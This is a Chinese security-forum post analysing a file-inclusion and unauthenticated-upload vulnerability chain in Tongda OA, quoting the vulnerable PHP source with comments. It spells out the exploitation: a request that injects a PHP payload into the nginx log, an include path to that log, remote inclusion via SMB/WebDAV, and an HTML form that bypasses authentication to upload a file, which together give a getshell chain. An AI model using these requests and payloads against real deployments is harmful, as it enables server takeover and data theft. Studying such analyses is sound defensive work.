用户
搜索

该用户从未签到

i春秋作家

Rank: 7Rank: 7Rank: 7

3

主题

18

帖子

184

魔法币
收听
0
粉丝
0
注册时间
2018-1-10

i春秋签约作者

发表于 2020-3-23 22:16:06 11155
本帖最后由 挖低危的清风 于 2020-3-24 18:46 编辑

通达OA 最新RCE漏洞的简单分析### 前言

  最近工作比较忙,本来上周看到这个漏洞的时候就想学习一下,结果因为各种事,一直拖着,正好趁今天有点时间,来简单学习一下。楼主也是最近才学习PHP,所以肯定有很多不足之处。这篇文章既是分享,也是在督促自己学习。

漏洞点1,文件包含:

  漏洞地址:/ispirit/interface/gateway.php

<?php

ob_start();
include_once "inc/session.php";
include_once "inc/conn.php";
include_once "inc/utility_org.php";
//$P不为空的时候才进行登录状态的判断。如果不传递$P则可直接绕过这部分的判断。
if ($P != "") {
        if (preg_match("/[^a-z0-9;]+/i", $P)) {
                echo _("非法参数");
                exit();
        }

        session_id($P);
        session_start();
        session_write_close();
        if (($_SESSION["LOGIN_USER_ID"] == "") || ($_SESSION["LOGIN_UID"] == "")) {
                echo _("RELOGIN");
                exit();
        }
}

if ($json) {
        $json = stripcslashes($json);//stripcslashes 删除数据中的反斜杠
        $json = (array) json_decode($json); //将传递的字符串转换为数组
        /*
        例子:
        $a = array('Tom','Mary','Peter','Jack');
        foreach ($a as $value) {
          echo $value."<br/>";
        }
        输出结果为:
        Tom
        Mary
        Peter
        Jack        
        而使用
        foreach ($a as $key => $value) {
          echo $key.','.$value."<br/>";
        }
        输出结果为:
        0,Tom
        1,Mary
        2,Peter
        3,Jack
        */
        foreach ($json as $key => $val ) { //遍历给定的 数组语句$json数组。每次循环中,同时当前单元的键名也会在每次循环中被赋给变量 $key
                if ($key == "data") {
                        $val = (array) $val;

                        foreach ($val as $keys => $value ) {
                                $keys = $value;
                        }
                }

                if ($key == "url") { //当传递过来的数组中,包含url这个关键值则将其赋值给url
                        $url = $val;
                }
        }

        if ($url != "") {
                if (substr($url, 0, 1) == "/") { 
                        $url = substr($url, 1);
      //这里截取url中的0,1字段,如果为/,则再次进行截断,从第二位开始截取之后的值
      //如$url = "/http://",这时满足if,最后url输出的值为http://
                }

                if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
                        include_once $url;
      /*
      strpos函数的作业是判断字符串中,是否含有某些字符串,而 !== false 这种判断是不严谨的,因为只要在URL中包含这些字符串就能绕过它的限制。
      这里可以看到,如果我们传递的URL中包含这些字符串,那么就能进入到include_once 这一步。(include 文件包含漏洞)
      */
                }
        }

        exit();
}

?>

总结

只有包含$P 才会进入到身份验证。并且传递的json数据中,需要有url这个关键值。最后value中需要包含general/,ispirit/,module/,才能进入到利用点。
到这里利用思路应该清晰了:
a. 包含日志
b. 远程文件包含,通过SMB或者webdav进行bypass
c. 包含上传文件

利用

1.包含日志,从通达OA的安装来看,其使用了Nginx,且开启了日志,那么我们访问的记录都会被记录到Nginx 的log日志中。(实测成功率不太高,可能是我姿势不够骚,不过是一种很好的思路)  

访问
/ispirit/interface/gateway.php?json={}&aa=<?php file_put_contents('1.php','hello world');?>
然后通过如下url进行文件包含利用
/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log

2.远程文件包含,首先我们知道要满足远程文件包含,需要双ON的情况下才可以。那么,通达OA很明显是不满足的。之前看了篇文章,利用SMB匿名共享来绕过这个限制。

2.1 开启smb共享,参考(http://xz.aliyun.com/t/5139  



2.2 远程包含,成功执行

2.3 webdav的同理,这里不做演示了。  

漏洞点2,前台文件上传:

漏洞地址:ispirit/im/upload.php

<?php

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
        ob_start();
        include_once "inc/session.php";
        session_id($P);
        session_start();
        session_write_close();
}
else {
        include_once "./auth.php";
}

include_once "inc/utility_file.php";
include_once "inc/utility_msg.php";
include_once "mobile/inc/funcs.php";
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && !td_verify_ids($ids)) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
        $DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
        if ($UPLOAD_MODE != 2) {
                $dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
                echo json_encode(data2utf8($dataBack));
                exit();
        }
}

$MODULE = "im";

if (1 <= count($_FILES)) {
        if ($UPLOAD_MODE == "1") {
                if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
                        $_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
                }
        }

        $ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

        if (!is_array($ATTACHMENTS)) {
                $dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
                echo json_encode(data2utf8($dataBack));
                exit();
        }

        ob_end_clean();
        $ATTACHMENT_ID = substr($ATTACHMENTS["ID"], 0, -1);
        $ATTACHMENT_NAME = substr($ATTACHMENTS["NAME"], 0, -1);

        if ($TYPE == "mobile") {
                $ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), "utf-8", MYOA_CHARSET);
        }
}
else {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("无文件上传"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);

if (!$FILE_SIZE) {
        $dataBack = array("status" => 0, "content" => "-ERR " . _("文件上传失败"));
        echo json_encode(data2utf8($dataBack));
        exit();
}

if ($UPLOAD_MODE == "1") {
        if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
        }

        $P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
        $MSG_CATE = $_POST["MSG_CATE"];

        if ($MSG_CATE == "file") {
                $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
        }
        else if ($MSG_CATE == "image") {
                $CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
        }
        else {
                $DURATION = intval($DURATION);
                $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
        }

        $AID = 0;
        $POS = strpos($ATTACHMENT_ID, "@");

        if ($POS !== false) {
                $AID = intval(substr($ATTACHMENT_ID, 0, $POS));
        }

        $query = "INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0','$AID')";
        $cursor = exequery(TD::conn(), $query);
        $FILE_ID = mysql_insert_id();

        if ($cursor === false) {
                $dataBack = array("status" => 0, "content" => "-ERR " . _("数据库操作失败"));
                echo json_encode(data2utf8($dataBack));
                exit();
        }

        $dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
        echo json_encode(data2utf8($dataBack));
        exit();
}
else if ($UPLOAD_MODE == "2") {
        $DURATION = intval($_POST["DURATION"]);
        $CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
        $query = "INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES ('" . $_SESSION["LOGIN_UID"] . "', '" . $CONTENT . "', '" . time() . "')";
        $cursor = exequery(TD::conn(), $query);
        echo "+OK " . $CONTENT;
}
else if ($UPLOAD_MODE == "3") {
        if (is_thumbable($ATTACHMENT_NAME)) {
                $FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
                $THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
                CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
        }

        echo "+OK " . $ATTACHMENT_ID;
}
else {
        $CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
        $msg_id = send_msg($_SESSION["LOGIN_UID"], $DEST_UID, 1, $CONTENT, "", 2);
        $query = "insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values ('" . date("Y-m-d H:i:s") . "','" . $_SESSION["LOGIN_UID"] . "','$DEST_UID','*" . $ATTACHMENT_ID . "." . $ATTACHMENT_NAME . "','$FILE_SIZE','0')";
        $cursor = exequery(TD::conn(), $query);
        $FILE_ID = mysql_insert_id();

        if ($cursor === false) {
                echo "-ERR " . _("数据库操作失败");
                exit();
        }

        if ($FILE_ID == 0) {
                echo "-ERR " . _("数据库操作失败2");
                exit();
        }

        echo "+OK ," . $FILE_ID . "," . $msg_id;
        exit();
}

?>

分析:

auth.php 为登录状态判断的页面
接收POST传递的参数$P,如果$P不为空,就不会进入到登录状态判断。
所以,我们只要在POST参数中传递$P为任意值就能绕过限制


这里我们写个上传页面来测试一下  

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>

<h1>hello worlds</h1>
<form action="http://192.168.52.128/ispirit/im/upload.php" method="post" enctype="multipart/form-data">
                <p><input type="hidden" name="P"></p>
    <p><input type="file" name="upload"></p>
    <p><input type="submit" value="submit"></p>
</form>

</body>
</html>

然后抓包查看一下,提示接收方ID无效  


这个时候,我们在看下代码,代码中需要POST传递两个参数 TYPE(type这个从上下文中看,并不关键) 和 DEST_UID,而且当DEST_UID = 0的时候,UPLOAD_MODE必须为2,否则也会提示无效。  


我们接着往下看代码,从这里得知,我们上传文件的时候,应该讲file的name设置ATTACHMENT,否则也会上传失败。  


那么这个时候,我们抓包修改一下参数,就实现了前台文件上传。  


这个时候,我们全局搜索一下上传的文件,发现在attach/im/2003中,这里上图的返回值中也能看出来,2003代表目录,866代表文件名  

总结

其实前台上传并没有太多难点,而之所以它在这里算做一个漏洞,是因为配合了文件包含漏洞,通过文件包含解析上传文件中的PHP代码而形成一个完整的攻击链

利用

到这里这次两个漏洞的利用链就完整起来了。通过前台文件上传+文件包含实现getshell。

大佬牛逼!!!!!!!!!
使用道具 举报 回复
发新帖
您需要登录后才可以回帖 登录 | 立即注册